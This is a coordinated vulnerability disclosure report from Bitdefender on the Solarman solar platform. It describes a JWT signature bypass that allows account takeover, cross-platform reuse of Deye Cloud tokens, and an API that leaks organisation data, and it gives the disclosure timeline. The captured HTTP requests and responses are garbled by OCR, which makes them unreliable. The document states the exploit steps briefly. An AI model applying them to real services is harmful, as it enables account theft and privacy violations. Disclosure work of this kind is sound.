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1. Executive Summary

This white paper discloses multiple critical security vulnerabilities identified in the Solarman platform. The vulnerabilities include full
account takeover, Deye Cloud token reuse, and information leaks about organizations. These vulnerabilities pose significant risks to
the platform’s security and user privacy.

2. Introduction

The Solarman platform is a comprehensive solution for managing solar energy systems. During a security assessment, multiple
vulnerabilities were discovered, compromising the integrity and confidentiality of user accounts and organizational data.

3. Vulnerability Details

3.1 Full Account Takeover via Authorization Token Manipulation

Description: The /oauth2-s/oauth/token API endpoint is used to obtain authorization tokens when switching between managed
organizations. The server fails to verify the JWT signature, allowing attackers to obtain valid tokens for any account by modifying the
JWT payload.

Impact: An attacker can modify the JWT to include the userld of any desired account, resulting in unauthorized access and full

control over the account.

a: =
Request Response
Pretty  Raw  Hex I W = | pretty Raw  Hex n o=
1 POST Joauth2-s/oauth/toksn HTTR/2| 1 HTTR/2 200 OK
> Host: globalpro.solarmanpv.com 5 Dater Tue, 21 May 2024 14:04:50 GMT
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 = Content-Type: application/json;charset=UrF-8
4 Accept: application/json, text/plain, */#% 4 Vary: Accept-Encoding
S Accept-Language: en-Us,en;q=0.5 5 Set-Cookle: acw_tc=8af5484b fas7882asb7ae! o2ed fsol4f ef 96676dd7;

Accept-Encoding: gzip, deflate

path=/; HttpOnly; Max- Age=1800

6
7 Content-Type: application/x-www-form-urlencoded 5 X-Content-Type-Options: nosniff
5 Log-Platform-Code: SOLARMAN_BUSINESS 7 X-Xss-Protection: 1; modesblock
o Log-channel: web 5 Cache-Control: no-cache, no-stors, max-age=0, must-revalidate
10 Log-client-version: 1.10.19 o9 Pragma: no-cache
11 Log-Area: FOREIGN 1 10 Expires: O
12 Log-Lan: en 11 X-Frame-Options: DENY
12 Origin: https://globalpro.solarmanpy.com 12 Access-Control-Allow-Origin: https://globalpro.solarmanpy.com
14 Referer: https://globalpro.solarmanpy.com/login 13 Vary: Origin
15 Sec-Fetch-Dest: empty 14 Access-Control-Expose-Headers: content-length
15 Sec-Fetch-Mode: cors 15 Access-Control-Allow-Credentials: true
17 Sec-Fetch-Site: same-origin 16 Strict-Transport-Securlty: max-age=63072000; includeSubdomains; preload
18 Te: trailers 17 X-Xss-Protection: 1; mode=block
1o Content-Length: &74 18 X-Frame-Options: ALLOW-FROM https://globalhome.solarmanpy.com/
20 19 Access-Control-Expose-Headers: *
21 grant_type=switch_orgsidentity_type=2saccess_token= 20
eyJhbGe101JSUzI INIISINRSCCIBIkpXVCI9, &y ) 1c2Vy X25hbWUi 01 IwX31nc29se XNLQHNoY XI rbGFzZzXdzLmivby | 21 {
8yIiwlc2NveGULOlslYwxsIlosImRLdGFpbCISeyIvemdhbmlEY XRpb 251 ZCI 6MCwL dGOwR3IvdXBI ZCI 6bnvshowizZ "access_token":
3JvdxBlzcIsbnvsbowl cmesZULkI JotMswi dXNLck LkI joxNDAXNZY 100wl dmVyc2LvbiI 6MT AwMCwl awRLbnRpzZmL Ll "eyJhbGel01JSUZI INLISINRSCCIBLkpXVCI 9. eyl 1c2VyX2ShbwUl 0l Iwx293b3LgdXFLQHNOY X rbGFzZXJz
€116Ima3b3LqdXF1GHNCYX] rbGFzZX1zLmNvbST sTmlk ZWS0aXRSVHLWZST 6Miwi biR] T ] 01 RkSSRULHTLEBXT1wi Y XB LimNybVBy T iwi c2NveGli OLsi YixsI 10sImRLAGFpbCTSey JvemdhbmlEY XRpb 251ZCT 6MCwi dGOwR3 I vdXBI ZC
WSHQ1OMS1bGxOLCI LeHAL 0 E3M] EONzM3MzksIm1kYy1 6Lk ZPUK VIROSFMST sImFLdGhveml 0awvzT | pbImFshedLe 16LTEsImdyb3ViwSWQi 01 0xLCIyb2x 1 SWQi 01 0xL.CI 1c2Vy Wi O EOMDE3N] UALCI 27X 1zakSuT j oxMDAWLCIp
JqdGhi 04 T3NZF1YZNi Ni LimNmI ALT Q30WQ0GQ3Z1 11NjFj ODVhY j gSMzUiLE §bGLLbARf aWQi01 J0ZXNOL N0 . XBmaF Z6\udGLmawVy1 j o1b3dvelpleXVAczhhemtsY XNLenbuY 2011wl awWRLbnRpdHLUeXBLI j oy CItZGHL 01 JGT L
D1 LoA408uXa167mSr - E- vMEMOYNf e 4KSaCOwrVLDJ1 15m0X1 I t2609K D70 93WNK62TkQugAGFLxSyf8af kbaako_b JFSUdOXzELLCIheHB) ZCIBbnVsbHOS TV CIEMT ¢ yMTQANDI SMCwibiWR] I j0i RkOSRUTHT 18X I1wiY XV0aGoy
STVSHKOMAGSExPzF] FuvhDF7ULLz01IHBg j 03cqGRbT g1y 400BT kLdp o8] ykpvemoGrkCounfgho20HIFD7ZNz- 1nGM aXRpZXMi0lsiYwxsI10sImpOasSIEImI zYTBkNMEOLTgxY 2L tNGQWNSOSMGY3LTALY JY XY j MANTQyZST sTmNsaw
mY SOF1WCXW72ZCxPD7AT ZxWf 1vJ - Hk SLm7mowdn SToyBPSmS1 gY @v4Pz ywac aab8uHRY 74d60Ve_7NayoBT ucezotkq VudFopZCI6InRlc3Qi fQ. ZacGLP41 CKrY 7Q4gXQE1F8aRrwkLd 6K p VNS - BBPCgLOaHb 99RIY nyKvdy uwxT Ave
y- nMRHGF] 40U GeDPCXBGRSMYHyb_21K- 7r0s2v 0SMRZXCWBVER- CY_x61lvwl SUAScLient_id=test&org_id=0& YFwETMewpa7ul5zKZnyeZ D- qume]i INMNrPLuNyoT SHOSCELL000hbSE0S0x I npE_MRGQAOYROEOST MGLWXSLD
system=SOLARMAN JbFVB7YSzovIEVkwf LxRHPSCASMg_LGRTxtwSMOVf pts6tBZkidLLSu1_Haob7d] t07TUgeiK fgaMupckup-87
ZI0UU- LEOKMYAZPXDtsbT tzef ggRDNSEL 1 tiinI EdmEINOKDMI 4gCrdOBzFuy LNhOGF pe - SNwOgBqEMQYLED Vi
UHSSyLnIPKBhUXjzXWw" ,
"token_type" :"bearar",
"refresh_token":
"eyIhbGe1 015Uz ING TSINRSCCISTkpXVCIS. ey ] 1c2VyX2ShbWUi 0 Twx293b 31 qdXF1QHNOY X rbGFzZX )z
LimNybVBy Tiwi c 2NveGUi OLsi YiwxsI 10sTmFOaST SImIzY TBNMEOL TgxY 2T tNGQuNSOSMGY SLT ALY 1Y XY  MANT
QyZSISImRLAGFpbCISey Jvemdhbml 6 XRpb2512CT EMOwi d G9wR31vwdXBIZCT 6LTESI mdyb3VwShai 01 0xLC Iy
b2x 1 SWQi 01 0%L.C] 1c2Vy SWQi 0§ EOMDESN U4LCI 2ZX1ZakSuT  oxMDAWLCIpZGVudGLmakvyT joib3dvekpleX
vac2hhemtsYXNLenMuY 2911wl awRlbnRpdHLUeXBLI oyl CI1ZGMI 01 JGT 10FSUdOXzELLCIheHBI ZCIBbNVs
bHosImlkyyIsIkzPukvIROSTMSISImFLdGhvemloawvzl jpbImFsbCldLCIqdGk101d] ZDZINGQOMYO3Y TIXLT
Q1ODgtOGMyNyOxN] IwZGFmYTc2ZTc1LClbGLLbnRf aWQ1 01J0ZXNOING. GI sMxmwdMNCIKS725Bk u7UXxkPya
@@€2 | search 2| ohighlights | (D) B €[] | search 2| ohighlights

Once we receive a valid JWT token for the target account, we have full control over it. Here is a request that returns the account

details. This is a demo account that does not expose real private information:
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C
Request Response
Pretty  Raw  Hex ® W = pretty Raw  Hex  Render E
1 GET fuser-s/acc/orgslogin-user HTTP/2 ﬁ Xr;r‘amerptluns: DENY
2 Host: globalpre.solarmanpy.com 12 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
3 User-Agent: Mozilla/S.@ (X11; Linux x86_64; rv:109.0) Gecke/20100101 Firefox/115.0 12 X-Xss-Protection: 1; mode=block
4 Accept: application/json, text/plain, #/# 14 X-Frame-Options: ALLOW-FROM https://globalhome.solarmanpv.com/
5 Accept-Language: en-US,en;q=0.5 15 Access-Control-Expose-Headers: *
& Accept-Encading: gzip, deflate i
7 Authorization: Bearer FEr
eyJhbGei0iJSUZI INi ISIRRSCCIBIKpXVCIS. eyd 1c2Vy X25hbwUi 0f TwX293b31qdXF1QHNOY XJ rbGFzZXJzLmhvb ey T : wuserInfor:{
1wic2NveGUiolsivwxsIlosImRLdGFpbcIGeyvemdhbml 67 XRpb251ZCI6MOWi dGowR31vdXB) ZCI 6LTESImdyb3vwsivg vereatedsy® 10,
101 0xL.CIyb2x L SWQi 01 0xLCJ Le2Vy SWQL0j EOMDESN] U4LCI 2ZXJZaWoul j 0 XMDAWLCIpZGVudGLmawvyl joib3dvenplc vereatedDate" : 1716200685, 000000000,
XVAcZhhcmtsY XNLenbuY 25t Tiwi aWRLbnRpdHLUeXBLT j 0yl €1 £ZGMi 01 JGT 1IFSUAOX=Ei LCIhcHBIZCT 6brvsbHOSTmY 'idv: 14017658,
4cCTEMT ¢ yMTQANDT SMCwi bWRj T j 01 RkSSRULHT 18T 1wl Y XVOaGSyaXRpZXMi OLsi Y¥xsT 10sTmp0aST 61 mI 2 TBKNmEOL "hamer ;" John Pos?,
TQXYZT tNGQWNSOSMGY 3LTALY JYXY JMANT Qy ZST S TmiNsakVudFopZCI 61 nRLe 301 f Q. ZacGLP41 CKrY 7Q4gXQB1F8aRrwk L "countryCode" :null,
dBKpVNGS- BEPCGLOaHb9SRIY nyKVdy uwx T AvoyFwBTMewpa7ul 52KZnyeZ_D- qvmej i INVNFP LuNyoISHO9cEU100Shss0 “phonenumber” :null,
SoxINpE_MRGOAOYROE0BTMGUWXSLb IbT vB7vSzov JIEVkwf LxRHPSCASMg_1GPT xtwsMOvfpts6tBZkwdLLSul_Haob7d]t vemail®:"ygsolysbasharklasers.com',
07TUge ] KfgaMupckup - 87Z10UU- LtOKMvAZPXDtsbT tze f ggRDNSE11 twml EdmsINok DMI 4gCrdoBzFuy LNhoQf pe - SNwO status':2,
9BGEMQYLBbWWLUHSSy LnTPKEhUX] 2 Xuw "lastLoginTime" ; 1716294445, 00000000Q,
@ Log-Platform-Code: SOLARMAN BUSINESS "Username® null,
S Log-channel: Web vphotor :null,
10 Log-Client-version: 1.10.19 vsystem" ;" SOLARMAN' ,
11 Log-Area: FORETGN 1 sweChathi ckname® sull,
12 Log-Lan: en *gaickname® snull,
13 Sec-Fetch-Dest: empty LastLant: en
14 Sec-Fetch-Mode: cors vorgphoto! snull,
15 Sec-Fetch-Site: same-origin voldUserTd® snull,
16 Te: trailers vopenapi AppId" :null,
17 "lastvisitTime" : 1716294579. 000000000,
18 'splitFlag":o,
*lastlp":'23.154.177. 16",
"lastArea’:"Us",
"reghrea” :null,
"lastSelectarea’ :null,
"businessRegarea® :null,
"businessLastSelectArea" :"FOREIGN_1",
"lastUpdatePwd" : 1716290685 . 00000OO0Q
T,
"orgUser® :null,
"organization® :null,
"groupName® :null,
"roleName" :null,
"lastLeginorgld":0,
"isFirstlogin":0
1
@& |2 [searcn 2| ohighlights | ) G €[] | search L2

Technical Details:
L Endpoint: /oauth2-s/oauth/token

L Vulnerability: Lack of JWT signature verification

L Exploit: Modify JWT payload to include target userld and user email

3.2 Deye Cloud Token Reuse

Description: JWT tokens issued by the Deye Cloud platform are also valid on the Solarman platform, granting full access to accounts
with the specified userld, even if this userId corresponds to a different account in the Solarman database. E.g. user ID 1000 could be
User X in the Deye Platform, but User Y in the Solarman database.

Impact: This vulnerability allows attackers to reuse JWT tokens from Deye Cloud to gain unauthorized access to Solarman accounts.

Technical Details:
L Vulnerability: Cross-platform JWT token validation

L Exploit: Use Deye Cloud JWT token to access Solarman account

3.3 Information Leak through /group-s/acc/orgs API Endpoint

Description: The /group-s/acc/orgs API endpoint returns excessive information about organizations during a search operation. The
response includes sensitive details such as names, email addresses, phone numbers, countries, and user IDs.
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Plant Authorization

SOLARMAN_BUSINESS Solarmanagerhome Wissam solarman

SOLARMAN Intelligent 1676385891 Roger Solarman SOLARMAN Smart 1714297455

Solarman-Cesare SolarmanBusiness A Solarmanpy.

215 record(s) la]l2]|a

Impact: Attackers can exploit this vulnerability to gather private information about all registered organizations by making multiple
API calls.

Technical Details:
L Endpoint: /group-s/acc/orgs

L Vulnerability: Overexposure of private information in API response
L Exploit: Enumerate private details via repeated API calls
Example Response (with sensitive information):
{
“total”: 415,
“data”: [
{
“org”: {
“createdDate”: 1716116429.000000000,
“id”: 10535375,
“type”: 2,
“businessType”: null,
“name”: “SOLARMAN_BUSINESS”,
“topGroupId”: 10336654,
“areald”: 112,
“timezone”: “Europe/Amsterdam”,
“logo”: null,
“adminld”: 13669824,
“system”: “SOLARMAN”,
“category”: 1,
“originalLogo”: null,
“operateObject”: null,
“totalNames”: null,
“status”: null,
“splitFlag”: O
2
“namelList”: [
{
“id”: 13656565,
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“relateld”: 10535375,
“relateType™: 1,
“name”: “SOLARMAN_BUSINESS”,
“language”: “it”
1
I,
“adminName”: “[redacted]”,
“adminPhoneNumber”: null,
“adminEmail”: “[redacted],
“entityRel”: null,
“adminCountryCode”: null,
“memberCount”: null,
“adminUsername”: “[redacted]”,
“adminLastVisitTime”: 1716457108.000000000

4. Impact Analysis

The identified vulnerabilities pose severe risks, including:
L Unauthorized access to user accounts and sensitive data.
L Potential misuse of private information for malicious purposes.

L Compromise of user and business confidentiality and integrity.

5. Disclosure Timeline

May 22, 2024: Bitdefender reaches out to Solarman for a security contact

May 23, 2024: Bitdefender gets in touch with Solarman security team and sends vulnerability information

May 24, 2024: Vulnerabilities acknowledged; account takeover gets immediately fixed
Jun 17, 2024: Vendor confirms that a fix for the API returning too much information is in place.
Jul 17, 2024: Vendor confirms that the Deye token reuse issue is now fixed.

Aug 7, 2024: This report becomes public as per the coordinated vulnerability disclosure protocols.
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